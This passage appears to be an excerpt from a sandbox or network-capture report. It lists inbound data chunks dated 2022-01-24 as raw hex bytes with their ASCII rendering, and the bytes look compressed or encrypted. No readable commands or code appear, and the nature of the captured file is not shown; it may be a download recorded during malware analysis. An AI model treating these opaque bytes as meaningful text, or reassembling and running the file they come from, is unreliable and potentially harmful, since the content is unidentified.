83 5a de 3b 17 f7 cf a8 1a 59 ba 5a 48 10 84 24 7e c6 42 06 24 30 03 75 db 38 29 ba 36 2e 87 3c 8d 3a a0 5c 24 8e b7 69 db 75 9e 67 5e 46 20 bb 77 47 f6 3d d6 10 f2 e6 4c 55 19 59 46 1e bd 1b 53 d4 5d 80 c0 17 e5 4d eb 12 45 Data Ascii: )%',H"F%Pb?R>E/Bo0Ttp{'nsR;N'%-?~"YbM\|QQ(\98h+rp4}{!c=xNZ;YZH$~B$0u8)6.<:\$iug^F wG=LUYFS]ME
2022-01-24 07:55:04 UTC	133	IN	Data Raw: 0e d9 ea 14 3c e7 e9 a9 86 04 4c d3 3a 77 d3 74 65 48 19 6c 98 80 72 65 e2 36 4d c7 ae d9 98 6a 04 cf 37 5a 8c 1c 0f fb a6 aa ee b0 1e 07 95 92 ad 94 92 87 39 41 8c 17 3c 0f 7e df 6b e2 84 54 12 4d 4f f2 68 1d eb ae 01 4d 62 04 14 8d 0d d1 2e 49 4a 62 fa bd d1 e1 64 ed 4c 45 80 f6 5f a2 77 ab 0b 3f 7b ba ec ec 3b 80 1c 8f fa 6c 23 db 12 23 a7 cf 3d 0b c7 ef 63 7b 3e ad c5 89 6c 76 45 25 87 a6 43 fb e3 f1 46 61 e0 0d 62 10 e3 63 2c 46 4e 4b cb b9 a4 e3 2e 1e 51 49 ef b6 b3 2f c4 43 4f 34 be 04 34 fc 69 79 a5 60 fb 37 41 80 5c 1e 16 6a e7 40 ea 3f 13 6e 1b 88 8b 2b 6d 4d 46 8f 76 26 72 aa 67 ef c6 a8 39 41 91 d3 e2 ab 42 a1 05 6a 6d 17 76 e2 5d 05 ab f3 7f 31 6f 28 af 3f 14 d7 85 ef 03 8d b3 3f 51 3d 8d 61 2f 98 60 50 2d a2 b2 0e 58 1c 16 a1 f2 48 98 c6 ff Data Ascii: <L:wteHlre6Mj7Z9A<~kTMOhMb.IJbdLE_w?{;l##=c{>lvE%CFabc,FNK.QI/CO44iy`7A\j@?n+mMFv&rg9ABjmv]1o(??Q=a/`P-XH
2022-01-24 07:55:04 UTC	134	IN	Data Raw: 8a 99 cd 45 58 3a f3 43 a3 87 ef b6 63 ec c4 30 b1 65 ab 62 4e 76 3e 80 b9 72 bc f3 d7 82 c0 ff 36 46 d0 ef 52 80 7c 97 68 17 3e c7 25 61 dd 4a 6b 35 30 05 40 7d 6e 9d b9 36 2c 8d 45 f3 a3 a1 c6 05 83 e2 4e fb 8e 04 42 73 77 92 95 33 46 ea 15 db 76 e1 e0 66 cd 4f ed 45 1e bf 11 29 aa c4 81 5a 36 e8 1a cc 32 b9 cd 56 2d 3f ce 82 9b b7 e0 a2 4f 5c 32 50 82 61 b5 2b 0b 16 6c 13 07 49 fb ea 0a 62 91 4a 3c 52 df 12 45 8a 69 d1 5c 77 4f a1 18 2a 5f 98 93 3b cf 59 fa c3 49 da 4e b3 18 61 f2 a2 93 e5 c6 6d f5 df 02 d8 11 38 1b 20 3e ad 21 5c f1 b8 95 81 3f 4b e7 b8 4d ac 94 08 b9 b1 fe 82 a3 33 f3 d3 da 20 2c 26 11 76 35 b3 81 f8 4c bc 32 58 b5 57 a3 6c 42 15 3b c4 7c 2a 5f e3 3b 4a fa 82 d0 bb 9d 8a 55 f6 f5 e0 85 5f ca 25 3a d8 e9 25 10 1b 4d 37 a4 d4 77 c5 ed Data Ascii: EX:Cc0ebNv>r6FR\|h>%aJk50@}n6,ENBsw3FvfOE)Z62V-?O\2Pa+lIbJ<REi\wO_;YINam8 >!\?KM3 ,&v5L2XWlB;\|_;JU_%:%M7w
2022-01-24 07:55:04 UTC	135	IN	Data Raw: 61 70 a7 51 49 eb 0c ff 03 d6 65 f5 31 92 16 12 fc 5c 68 a5 60 c4 af 7c ad 5e 01 00 68 4c 3c 73 38 39 ec 45 30 8b 2b 69 f7 09 a3 64 00 c8 ae 4b fd e0 a8 20 50 91 d3 dd 22 7f 8c 07 75 66 15 dd 9e c4 02 81 75 21 8a 6f 28 ab 85 5a fb 97 c9 b9 8a 9f 2e 77 3d 6f 70 2f 98 5f f0 10 8f b0 12 76 1b 92 df 6d 63 1e bc 46 ee dc 94 d0 cb 00 ae 34 50 fb 7e 9f 86 ce 5e 89 27 de ba e5 95 62 3d 31 0f 7a 8d db 0d f0 ef 91 0d 85 f0 6e ea eb ba 7f 6b 72 d8 c8 48 9e 07 2c 90 0a ad 6b c1 c8 5d 0a 9c 9c e9 79 8c 79 0e ef 39 cd 38 77 b7 00 4e 37 55 bd 9b 82 32 95 4c 39 2e dd 61 4e 7b be 31 59 3d f8 42 9e 46 b5 06 d9 96 35 4a 87 13 15 87 2a df 3b 94 99 a3 c7 d0 8d 10 af d1 58 4a 41 9e 09 65 13 d5 d9 b7 1a eb 40 65 42 f4 11 0e b8 cd ad fe 50 1f 05 0b cc f7 00 f9 9d 35 f3 a1 6b c9 Data Ascii: apQIe1\h`\|^hL<s89E0+idK P"ufu!o(Z.w=op/_vmcF4P~^'b=1znkrH,k]yy98wN7U2L9.aN{1Y=BF5J*;XJAe@eBP5k
2022-01-24 07:55:04 UTC	136	IN	Data Raw: 2c cf 46 fd c3 49 da 4e b3 18 61 f2 a2 93 e5 c6 6d 22 df 02 d8 11 38 1b 20 3e ad f6 5c f1 b8 95 af 3b 4b e7 b8 4f ac 94 08 b9 b1 fe 86 a3 33 f3 d3 da 20 f5 26 11 76 35 b3 81 fb 4c bc eb 58 b5 57 a3 50 46 15 3b c3 41 2f 70 e1 3d 66 52 7e 37 23 9c 8e 71 44 bd e1 85 c5 75 2d 06 ef ef 97 58 1a 4d 17 29 6f 64 c5 f3 66 27 6e 51 66 de 3a c5 48 15 eb 3c ad 4a 2a 07 ba ad 33 fc 39 67 5c 17 a3 7e 72 0f fc 7e a9 30 ae b5 f1 86 2d f9 b0 e9 dc ec cc a7 45 64 fe 68 40 c8 79 f5 60 1e 62 c3 66 80 f1 ad ee a1 cc 6c 96 9b ad 10 e4 06 57 52 c5 cd ec 33 f5 28 e4 37 5c eb 14 22 55 e1 86 94 24 46 c0 45 ee d2 54 ad 7f 05 6d 87 8d c0 6d cd 24 6d cd 34 a6 01 6b 24 ea 07 cc 8d 03 05 49 ae 85 fc 90 14 17 ea 0b ac b4 4f b0 24 40 93 19 8e 07 51 cd 4b e8 1f 2b 8b 4c 6f dd 58 8a ea b1 Data Ascii: ,FINam"8 >\;KO3 &v5LXWPF;A/p=fR~7#qDu-XM)odf'nQf:H<J*39g\~r~0-Edh@y`bflWR3(7\"U$FETmm$m4k$IO$@QK+LoX
2022-01-24 07:55:04 UTC	138	IN	Data Raw: 0c e2 01 85 46 e3 0b 4e 20 1e fd 6e 50 a1 7f 2e 5e 12 4b 46 74 93 2d 5b 31 1b 0b 9a 82 a8 90 32 32 08 fd 17 67 56 bc 11 be 02 7e 3c 18 49 9d 2f fb 2e 32 60 05 f7 a9 ab 38 fd 3b 43 99 a3 c7 6a fd 24 be f7 67 38 68 b3 0b 45 fa ea 5b c9 9d c2 6d 63 62 4b 3a 88 c6 ce 89 d3 45 19 55 b3 cd f7 9a fc c2 3e d5 81 07 e0 da f6 73 dd 06 e8 b4 64 b3 c8 0b 87 a6 85 1b b9 39 a3 0a 2f da 29 4b 24 36 95 32 6a e7 78 08 c5 48 73 d2 ed ad 01 7e e8 98 63 98 f8 40 26 37 e8 72 e6 74 2e 2c 6b 27 24 50 34 a3 51 bb ad 3e 42 91 5c ab af a5 06 fc a1 29 0e 91 63 ee f9 8c 37 98 cd df e7 32 cc 77 a5 e5 52 b7 63 cc c1 aa a8 65 b4 66 72 73 11 82 bf 5e 10 0f 30 1a c1 fb 12 25 6c ee 52 1a c3 9f 57 20 38 a4 99 60 dd 6a 0b bb 29 05 5f 40 6e 9d b9 36 2c 8d 45 f3 a3 a1 c6 05 83 18 4e fb 8e 04 Data Ascii: FN nP.^KFt-[122gV~<I/.2`8;Cj$g8hE[mcbK:EU>sd9/)K$62jxHs~c@&7rt.,k'$P4Q>B\)c72wRcefrs^0%lRW 8`j)_@n6,EN
2022-01-24 07:55:04 UTC	139	IN	Data Raw: ef 5a c8 79 70 4e 1b 5e e7 46 12 da 2f 90 18 0b 7b 92 bb 6f 39 c9 04 cd 71 c2 5a b4 8a 2a 29 e0 17 e9 f4 0f 22 cf d8 83 ab 00 66 53 6e 68 ac ed 60 68 01 4d 47 81 e8 40 55 01 46 f5 94 f8 47 6b 24 ee 07 7e 97 03 05 cc a6 80 c3 b4 34 87 c1 8d d2 0d 97 a7 20 60 6c 16 a6 2a c9 e8 60 d0 bf 75 f2 4c 6f d9 58 4c f0 b1 08 7a 7d 2e 39 89 27 51 7a 56 35 fb ff 9d cb c0 85 ec d6 60 37 c1 54 90 4f 8a ea 3e 5b 8e dc 6f 20 9f 3c b8 dd 46 0e df 38 a7 f3 d0 42 92 c2 cf 78 5a dc ac 5f ac db 42 4e 17 be 87 a1 fa c3 a5 76 ec fb 13 4a 22 ea 4b 07 6e c8 33 78 3a da 7e 0f 3e 54 69 0c 2d 96 02 4c 40 42 05 99 24 d7 dd 35 69 85 f8 ff 20 69 b1 76 33 12 40 67 14 f1 40 8a 6b 3b ad aa cf 6c d7 63 38 41 2d 43 ad 46 0b c7 88 4a 71 0f c8 fd bd 77 a4 2a 68 6b 3b da 1e ba 9d aa f7 5b 33 8b Data Ascii: ZypN^F/{o9qZ)"fSnh`hMG@UFGk$~4 `l`uLoXLz}.9'QzV5`7TO>[o <F8BxZ_BNvJ"Kn3x:~>Ti-L@B$5i iv3@g@k;lc8A-CFJqw*hk;[3
2022-01-24 07:55:04 UTC	140	IN	Data Raw: e8 72 5c a4 1f 3e 4d 18 96 79 19 a1 71 3d 9e b8 3c 17 54 83 86 87 03 f8 8b af ea 2d 4f fc db 8c 8e 9b cd df 5d e9 fd 65 83 da c4 9e 4e ce e1 25 9b e3 ca e0 67 5b 38 a0 b9 5a 3a 8d d4 a6 ed e9 30 25 d7 ed 52 1a 79 92 67 31 1e 9b 0d 49 f0 68 2b 20 1a 87 21 c0 47 b0 bf 16 2d a5 c7 8d a0 85 eb 10 85 86 48 f9 8e 9e 47 0f 7b b4 b5 69 6f c7 17 fb 14 d8 62 18 4a 66 c0 43 3e b1 39 af d4 c7 a5 77 23 ee 7f c5 30 b9 57 53 59 30 e8 a2 c5 9e cd a0 6f 36 0b d6 fc e7 a4 03 22 34 65 17 2d cf 1f 56 26 70 b3 4a 73 51 df 12 ff f1 59 c3 7a 48 49 88 35 28 7f e2 aa bd b1 df eb eb 60 f8 44 b7 32 e7 16 1e bf f7 e4 6d b8 dc 02 d8 ab 83 2b 32 18 92 6f 75 dc ba b5 0b 06 cd 99 3e 47 84 bd 2a b2 b5 d4 04 47 8f df c1 f8 20 6f 25 11 76 8f 31 b1 ea 6a 83 76 71 98 55 83 fd 7b 97 45 42 68 Data Ascii: r\>Myq=<T-O]eN%g[8Z:0%Ryg1Ih+ !G-HG{iobJfC>9w#0WSY0o6"4e-V&pJsQYzHI5(`D2m+2ou>G*G o%v1jvqU{EBh
2022-01-24 07:55:04 UTC	141	IN	Data Raw: cf e6 5f 13 bc 79 8c 6a 65 63 05 b8 17 63 fb c3 b9 7e 4c e2 13 4c 17 67 1d b3 6d c8 31 72 94 a6 e7 0e a4 75 64 fd 0a b6 2e d4 65 6f 34 09 24 34 dc 2a 40 8d 4d e6 20 6f 87 d8 60 89 41 61 3a 53 13 11 6a 3b 33 af 06 7f f1 43 8f 66 00 52 ab b9 cf c6 88 55 7e b9 fe ff bd 6c a6 81 14 f2 3c f0 98 e4 2a a9 f7 5f 89 4b 05 bd 83 11 d4 95 c9 23 8f bc 1e 51 1d 1b 67 07 b5 7d 5c 03 a5 36 70 c7 37 90 db 4b 66 9a c2 df 75 f9 bd e2 81 21 81 36 ca de 73 a9 81 ee 32 97 2b f6 b7 55 80 64 17 ac 60 cb a1 d9 09 d6 f5 15 73 1c 6b 4b c3 da f1 5e 5b 70 42 ed 45 bc 00 0c fd 11 85 46 e3 0b 4e 20 1e fd 6e 50 a1 7f 2e d8 11 4b 46 74 93 2d 5b 31 1b 8d 99 82 a8 90 55 0a 08 fd 12 67 56 bc 11 be 02 7a 3c 18 49 9d 2f fb a4 31 60 05 f7 a9 ab 3b fd 3b c9 9a a3 c7 6a 93 1c be f7 66 0d 6d 9c Data Ascii: _yjecc~LLgm1rud.eo4$4@M o`Aa:Sj;3CfRU~l<_K#Qg}\6p7Kfu!6s2+Ud`skK^[pBEFN nP.KFt-[1UgVz<I/1`;;jfm
2022-01-24 07:55:04 UTC	143	IN	Data Raw: 7a 85 51 24 14 6c 8f 08 e2 97 55 2b 30 97 6a 7a 73 ea 31 df af 5b e3 52 7a 0b a0 1e 00 fd 9a 19 3a cf 42 ca b8 66 d8 4e 2f 17 ca 9d 1d b2 b6 c0 4d b2 fe 57 fb 8b 1d 2a 1a 35 8f 66 5b db 3a cb 94 2d 4b e3 87 12 86 b9 0a 23 92 f9 15 fb 8a a6 d1 de 00 44 7c 32 76 af 8b 84 c7 68 9c 7c 73 33 29 1a fa 51 11 1b 8e 6b 02 72 7b 1e 61 c2 26 8e 77 9e 8a 51 f6 de c2 85 5f 4f 0c 3f e4 cd 05 5f 30 cb 49 1d 79 64 c1 cd 18 08 6c 51 fa d1 91 a9 f7 34 bd 3a 8d d9 0b 69 99 37 16 ce 3d 69 51 86 a2 78 58 ad 37 f0 a8 30 b5 84 8e a9 2f f9 2c e6 73 83 73 86 12 62 de fc 61 4c 5a 6f 45 24 5b c8 44 14 f6 87 6c ff 93 7a 96 9f 91 60 cb 04 57 ce ca 66 83 8c d4 70 e2 17 c9 ca 91 01 cf c4 bc ae 2f 64 55 42 c4 54 0a f8 69 05 69 b8 d9 ea 40 cf be 4e ca a0 fe b8 33 26 ee 27 7a 0a 20 05 d3 Data Ascii: zQ$lU+0jzs1[Rz:BfN/MW*5f[:-K#D\|2vh\|s3)Qkr{a&wQ_O?_0IydlQ4:i7=iQxX70/,ssbaLZoE$[Dlz`Wfp/dUBTii@N3&'z
2022-01-24 07:55:04 UTC	144	IN	Data Raw: 9f 0f f3 98 57 86 48 bf 50 87 53 a0 dd 2d 8f c7 17 73 86 d4 43 ff ed f7 07 69 72 42 cd cf a9 21 0c e0 23 80 69 e1 0d 62 88 e2 1a f6 51 a5 5b 74 eb 13 4b dc cb 9b 11 6c 37 41 be 9b 82 88 01 44 2b 08 e1 27 62 79 be 17 92 aa 86 db 80 48 99 0b a0 94 33 60 9f 48 a1 97 0c fb 60 f9 98 a3 e7 fd 8d 3d be e9 50 08 42 9e 0f 6f 7a be 40 b6 04 c7 4d 1b 40 f2 3b 12 e3 79 be d8 74 43 77 0a cc d7 25 f9 b0 27 ca 88 33 e5 f5 f4 75 f1 ae 14 53 fc b2 cc 2f da 1e 84 1b 23 86 ab 36 18 dc 74 f3 25 36 b5 da 37 fe 78 14 f3 4d 5c d0 eb 81 a9 86 0f 00 62 9c dc 1e 9f 36 e8 e8 59 7c 12 18 6d 79 9d 51 34 83 bf 1e b4 3e 5f a6 78 81 82 a1 2c 7c f5 36 71 08 66 ce 82 ae 8b 99 57 fa 50 05 c7 45 fc c7 ee b6 43 19 c4 23 b1 7a ba 51 4b 59 3c 86 95 de 44 14 4f 83 c4 db 96 07 d1 ef c8 3f 74 a8 Data Ascii: WHPS-sCirB!#ibQ[tKl7AD+'byH3`H`=PBoz@M@;ytCw%'3uS/#6t%67xM\b6Y\|myQ4>_x,\|6qfWPEC#zQKY<DO?t
2022-01-24 07:55:04 UTC	145	IN	Data Raw: 81 c4 ae 17 d1 2f 61 dc 86 a2 7e e8 0a 64 7b 8f 10 11 a6 d9 ab 0f 09 90 c3 5e 8d 59 8e 68 62 de fa 6b 4a 07 f6 44 33 77 c5 e7 16 f0 ad 74 a4 27 6a b0 bb 10 3a c9 04 77 a8 c9 4b 92 b4 dc 05 e2 17 cf c0 96 5c 56 c5 ab 82 22 c4 57 44 ee 48 51 4c 79 23 4d 3a 82 e8 40 ef 20 4c e7 b2 c6 b0 47 26 ee 21 70 0e 7d 9c d2 8b ac ce 15 36 81 eb 91 89 b9 87 81 04 e3 8e 17 a6 0a 5f ea 4d c2 81 7d 3f 4f 6f df 52 9f 95 28 09 65 4b 26 b0 89 27 57 ca f5 66 73 d8 bd 6b e2 64 ed f6 6e 8a e4 79 95 41 87 09 3f 5d a4 7a 92 a2 9e 3c a3 f7 cb 21 dd 38 3b fc 7b 2e 2d e3 6a 7e 7a 3e 8d 50 8b 41 67 7c 0e b0 8a 41 fb c5 8f d4 1f 79 12 4a 39 c1 c5 28 6c c8 af 77 95 b5 c1 2e 98 52 49 ef 0c 8c 25 d6 65 78 3c 92 06 34 da 1f eb db f9 e5 20 6d 8d f9 1c 10 40 fb 1b 5e 2f 35 4a 9c ab 8a 2b 4d Data Ascii: /a~d{^YhbkJD3wt'j:wK\V"WDHQLy#M:@ LG&!p}6_M}?OoR(eK&'WfskdnyA?]z<!8;{.-j~z>PAg\|AyJ9(lw.RI%ex<4 m@^/5J+M
2022-01-24 07:55:04 UTC	146	IN	Data Raw: 8d c4 fa 20 0b b9 b3 f4 b2 df aa f2 49 fb 2d 75 01 31 c0 ad 96 ac ca d7 bb 7a 59 ab 7f ae f9 51 13 11 5d 17 9b 73 e1 3f 6c 67 02 ae 22 06 af 7c c4 9a c1 32 5d 50 00 37 0c e8 05 59 05 5c 1f a9 7a 64 c3 c7 c8 74 f5 50 60 f0 9c 03 d3 14 eb a2 a8 f4 39 21 9a 8f 14 d1 2b 61 aa a3 a2 7e 6d 24 61 44 ab 30 b7 8e 5b d5 b6 f8 b6 c7 7e 2b 57 a6 45 fa fb d1 50 ee 59 d6 47 33 73 c5 a7 33 f0 ad f6 a9 27 79 96 9d 9b aa b7 9d 56 54 eb 6b 28 a8 f4 28 7a 32 e4 ff 32 02 75 c6 ab 86 22 85 72 44 ee f2 67 60 68 05 45 b5 82 e8 46 e5 a6 15 7e b3 d8 9c 4a 9f ec 27 5a 16 26 28 c2 ad 88 55 b4 34 81 cb fd 84 94 96 b9 0c 6d 8e 17 a0 00 d5 b3 d4 c3 99 51 32 f1 6d d9 78 87 ce 9c 1a 43 6f ba 16 8b 27 77 ae f8 4b 62 e1 c4 e7 cd 66 ed d0 4a 2f 9a e0 83 69 ae 2b 82 59 8e fc 76 1e b2 2d 81 Data Ascii: I-u1zYQ]s?lg"\|2]P7Y\zdtP`9!+a~m$aD0[~+WEPYG3s3'yVTk((z22u"rDg`hEF~J'Z&(U4mQ2mxCo'wKbfJ/i+Yv-
2022-01-24 07:55:04 UTC	147	IN	Data Raw: 0b 50 be 11 a7 3e d0 6f 83 48 9b 01 5d e8 aa 61 05 69 ac 5b 28 db 1b 61 bd 8e d5 6c 88 e0 bc f7 78 05 1a b5 09 45 e3 ca f1 9a 06 c3 6b 4d c0 8c a2 89 c6 50 8c 20 56 3f 75 90 e9 da 8b fa 90 f9 d7 81 1b e8 93 df 73 db 30 42 e7 ff b2 ce 25 21 62 1d 1a b9 a7 a6 f8 3c fc 09 6b 00 1b 87 34 32 21 7a 08 db 40 34 fb ed ab 34 f1 be 2c 60 98 fa 4a 1b 48 71 73 7c 55 23 de 4f 07 9f cb 11 8e 63 1d 94 de 40 8e 55 a3 f1 8c 06 fa 94 a2 58 25 60 ee fb 86 0d e7 54 de 7d 13 c1 84 81 c5 ee 2c 46 e1 f3 05 91 84 b6 79 66 7b bc ab bf 58 25 9f 66 ae c2 fb 10 2f 53 91 cb 1b 59 be 5a d3 1c 84 24 fb f8 47 3a 00 10 e7 5d 59 46 90 29 1d 2a a7 d0 a5 17 a2 c6 07 89 24 31 62 8f 9e 63 7e 85 b6 b5 77 dd cf 38 ea 34 d2 03 64 d3 67 e0 d4 35 b9 3b b3 fc 70 82 5a 34 e2 dd b3 ab b8 57 77 20 c9 Data Ascii: P>oH]ai[(alxEkMP V?us0B%!b<k42!z@44,`JHqs\|U#Oc@UX%`T},Fyf{X%f/SYZ$G:]YF)*$1bc~w84dg5;pZ4Ww
2022-01-24 07:55:04 UTC	149	IN	Data Raw: 04 ef c7 a8 86 02 46 c8 69 ee d2 6b 7a 40 28 6f 98 86 c2 c2 b1 bd 6a e7 b6 f8 9c 69 24 ee bd 7f a1 12 23 f3 8f ab ee b6 14 39 c6 0b ac 83 be 8a 26 40 8a 3d 24 54 ca cc 4d c6 b9 50 11 4d 6f 43 5d 30 fa 97 28 60 4c 06 14 ab 9e 7a 50 d0 51 4a d3 9f cf e6 4e 6b a8 f9 ac e4 7d a2 6f a9 0b 3f c1 ab d1 fe 1d bf 3a a4 d7 6e 03 60 15 a1 d9 49 1c 23 ee cd 7c 7c 14 2b 21 35 40 67 67 25 9f a4 43 fb 59 80 7b 73 c6 33 4d 3e e1 63 0a b1 e5 35 52 a7 b9 cf 23 3c 50 4f c5 aa e8 9b d7 65 6b 34 b7 07 34 dc af 4c 88 72 c2 00 61 ae 5e 1e 30 ba 4c 3e 73 21 0e 42 16 ab 8a 2d 47 51 1d 3b 65 00 56 ab 6f ec c6 88 d0 74 bc c1 db 9d 63 8f 07 6a 4b 2a de 9c c4 1b a7 df 72 11 6e 2e 85 a5 31 f9 a7 cd 23 fa b2 3f 51 16 05 71 3e b8 75 5f 05 8f 3d 1b 5e 36 91 5f f2 48 98 c6 ff cc f2 90 f0 Data Ascii: Fikz@(oji$#9&@=$TMPMoC]0(`LzPQJNk}o?:n`I#\|\|+!5@gg%CY{s3M>c5R#<POek44Lra^0L>s!B-GQ;eVotcjK*rn.1#?Qq>u_=^6_H
2022-01-24 07:55:04 UTC	150	IN	Data Raw: 22 29 ee 78 87 c6 fa b2 4d d9 fa 0d 9f 55 a1 6e 48 79 15 a7 84 5a 09 a4 7e b4 e0 d3 11 08 fb d4 7f 66 40 89 5d 00 06 a0 1a 51 e1 b5 ed ae db d9 9f 82 98 77 6a df f9 68 04 40 ea 77 21 ec 69 7d 82 67 77 4d a0 8f 94 6a 70 ac 9f 09 eb 1e d8 14 1d 85 33 8c 36 aa c3 6a cf 4e 23 e7 5f a3 df 37 f7 02 db 4a b6 d4 c2 cf 1e 44 17 6b 58 3e e7 ac 92 e9 1c f9 34 c3 83 93 ff 90 9c 5a 0c e8 9a bc 28 e4 e8 d6 5f 87 5c 0d dc 45 ec f5 9e 3d a2 81 c2 08 09 98 78 e7 68 42 cc 70 ab 21 86 49 3a a8 2c 49 73 fa 32 7a a6 6a 35 a6 bf 5b 5b d7 20 1e bb c4 f4 5a 7c 37 93 f2 04 d2 bc 74 e3 fb 8c 71 8d fb aa 95 8c 7b 3a 7c 43 36 fb c0 f2 91 06 e0 55 11 d9 21 e1 ba 3d 7a 5b b0 2d 75 00 9e 4d 0e 9a 6f d6 42 af de 21 b4 ca b7 e2 54 4d 0d 3c d5 c1 1f 51 2b 41 31 91 69 62 d3 ed 68 33 66 49 Data Ascii: ")xMUnHyZ~f@]Qwjh@w!i}gwMjp36jN#_7JDkX>4Z(_\E=xhBp!I:,Is2zj5[[ Z\|7tq{:\|C6U!=z[-uMoB!TM<Q+A1ibh3fI
2022-01-24 07:55:04 UTC	151	IN	Data Raw: 61 c5 1d f2 65 e8 53 5f 3f c3 3a 09 e3 0a 4a ce 15 93 45 f3 64 97 81 88 cd f3 e8 85 dc f1 b6 a1 21 48 e1 b9 18 e5 27 bc d0 80 42 f4 3f 19 55 93 94 18 44 54 06 d2 67 e8 d3 d1 92 4c 64 01 d6 6e 0d e7 b9 92 dc 59 48 91 59 6d 3b df 48 02 cd a8 e6 ff 96 f8 51 b4 85 db 02 3d d5 8a f7 4e 45 da c7 12 5a 19 3b 42 06 60 2c c3 6f a0 56 40 d6 5b 34 75 ab 2d 9e 2b 71 ba 7f 9e 92 8d eb a4 43 21 b1 71 41 9d fb 88 67 f3 7a 6a 36 83 de cd fd 4f 8c 64 92 49 b8 57 a4 26 a1 4b 0a 5a 82 81 f5 47 b6 3d 4a e5 1e 51 41 f6 fc 5d 05 57 33 b0 85 d2 f0 ea 20 1f 3f 93 69 2f 00 92 7f d5 47 97 31 ba 6d ba 1e f1 ef 4a 4f 2d 50 ae bd 5c a9 79 98 b5 88 fc 39 ad 38 a2 a0 2a 2c 43 9d 1f 06 ff ce d3 bf 12 9b 35 3f 0a bb 27 96 8c 1f fc b3 02 22 62 0f ca b9 ec b8 9e 01 f5 ba 69 b9 d3 d8 5d ee Data Ascii: aeS_?:JEd!H'B?UDTgLdnYHYm;HQ=NEZ;B`,oV@[4u-+qC!qAgzj6OdIW&KZG=JQA]W3 ?i/G1mJO-P\y98*,C5?'"bi]
2022-01-24 07:55:04 UTC	152	IN	Data Raw: 34 a7 06 85 62 fb 29 44 a6 16 26 17 84 67 4a d8 06 43 c1 bf a1 c6 5d bd 8f 78 2f 44 b6 d9 e0 52 08 ac 60 57 ec 57 57 3f e6 64 0d 13 79 3b bb f7 b2 ce 84 53 71 59 15 88 26 ba b5 2f d9 51 32 c4 c8 aa 3b 81 ec 98 2d f0 a6 3e a6 3b b6 0f 1a ca 5a 0f 6c 12 de c1 b2 89 4c 54 9d f6 8d c2 91 25 d0 c4 6d 73 ce a2 df f8 ca 55 25 34 79 a9 40 c6 16 64 82 b4 35 d4 f1 37 bf fd db c1 e4 33 07 42 0e 37 eb 7f f7 d8 ad fe 6d af b3 bd 04 de 0d c1 1b 32 87 ab 0a ab 1a 0e 13 75 23 cf 04 6e 96 cd a3 ff 66 0f f0 bb f2 4c a1 77 21 2b 86 0f c2 c6 82 50 94 70 b7 a6 50 47 bd a2 9e a8 08 7a 5d 69 ee d1 75 4d 64 13 63 bb 97 e5 46 95 0f 61 f7 ba c6 87 6e 76 df 25 44 8d 07 14 d4 82 8c c5 bc 15 ad f6 17 ce 95 a4 89 15 74 ad 20 a8 14 65 f7 76 f3 b1 54 11 4f 7d fa 41 3d cc 81 d0 92 b2 dc Data Ascii: 4b)D&gJC]x/DR`WWW?dy;SqY&/Q2;->;ZlLT%msU%4y@d573B7m2u#nfLw!+PpPGz]iuMdcFanv%Dt evTO}A=
2022-01-24 07:55:04 UTC	154	IN	Data Raw: e9 6c ff f5 b6 21 3e 41 89 44 98 e8 05 e4 b9 e0 2c 4a f1 b5 e2 c7 40 61 3d 77 5f 96 dc fd 02 ed b1 8e 47 cb 63 f0 21 9c 5e 94 40 e4 08 46 e2 b6 cf b9 59 4c e1 0e d2 35 57 6f 17 88 6b fd 7f 31 bf e1 85 64 f2 bd 05 5d 75 13 ac 6c cf ee e7 44 ae 29 70 e1 02 54 ee 84 ef ba 74 48 2c 62 15 81 4b 31 ab 8c a8 b5 2e 8c 46 2a 82 b2 f4 86 5a f1 6b c1 5d e8 f9 d9 7b 53 aa 51 bc 56 70 d1 4b 41 a7 38 54 b2 0a 22 b6 91 e1 4b 90 f9 67 0c ed b3 22 b6 76 96 0e 01 1c 64 51 34 4c ec 2e 51 d7 3b 6f cf 46 45 8a 53 ca aa a1 06 f2 9a 90 51 19 74 e5 fc 95 b0 92 c5 ca 66 48 dc 68 81 da f7 a4 74 cf fc 39 95 0e af 45 58 64 1f bf 89 47 0a a0 7d b0 ed d2 62 3b f1 d3 50 04 75 97 44 07 6e 96 1d 5b f9 4a f5 e8 ea f0 a1 84 8f 7b 7c e7 ef 68 02 4f ed 59 17 df 62 7c 99 25 5b 4d fb 9d ba 6c Data Ascii: l!>AD,J@a=w_Gc!^@FYL5Wok1d]ulD)pTtH,bK1.F*Zk]{SQVpKA8T"Kg"vdQ4L.Q;oFESQtfHht9EXdG}b;PuDn[J{\|hOYb\|%[Ml
2022-01-24 07:55:04 UTC	155	IN	Data Raw: a0 97 83 a6 23 9f d9 05 55 14 72 89 f7 0d 2e 2a a4 40 9b db d6 62 cf 15 38 64 a5 37 88 50 67 8b b8 5d 4d 2b 1a 82 ee ec c3 7f 49 9e fc f0 82 f6 04 09 77 d2 5e ab ec 68 39 59 01 ff 8f 53 90 d2 03 91 84 62 37 16 59 09 84 09 4c 44 ea d3 cb ec 2b 30 e7 5c e9 6f 28 82 06 8a dd 33 5b 10 35 82 29 55 a5 e6 49 23 1b 42 50 91 6a 30 37 e4 11 09 83 e7 a7 90 59 d1 9f 09 d9 94 42 a4 5d fa 7d 52 30 ac db c2 78 e0 5f c5 fe 46 19 e7 3c bb c4 06 6f 32 dd c8 6d 24 63 e4 6d bb 41 6f 26 41 b1 b8 4f f4 9e b2 4b 72 fe 01 54 27 f3 14 43 46 e0 08 78 c2 dd 87 73 42 3e 5f c9 1b a0 66 b1 6d 57 39 93 66 2f e7 0a 5c ae 5f df 18 5d 54 ba f0 ed b9 8f c0 9b c0 ec 87 fb 7d 59 e6 a6 4d 88 68 b4 d5 9f 4e b7 01 29 6f 92 89 75 24 18 17 d3 58 d2 b7 81 c2 0e 77 28 ea 59 39 b7 e4 9f fc 55 50 cd Data Ascii: #Ur.*@b8d7Pg]M+Iw^h9YSb7YLD+0\o(3[5)UI#BPj07YB]}R0x_F<o2m$cmAo&AOKrT'CFxsB>_fmW9f/\_]T}YMhN)ou$Xw(Y9UP
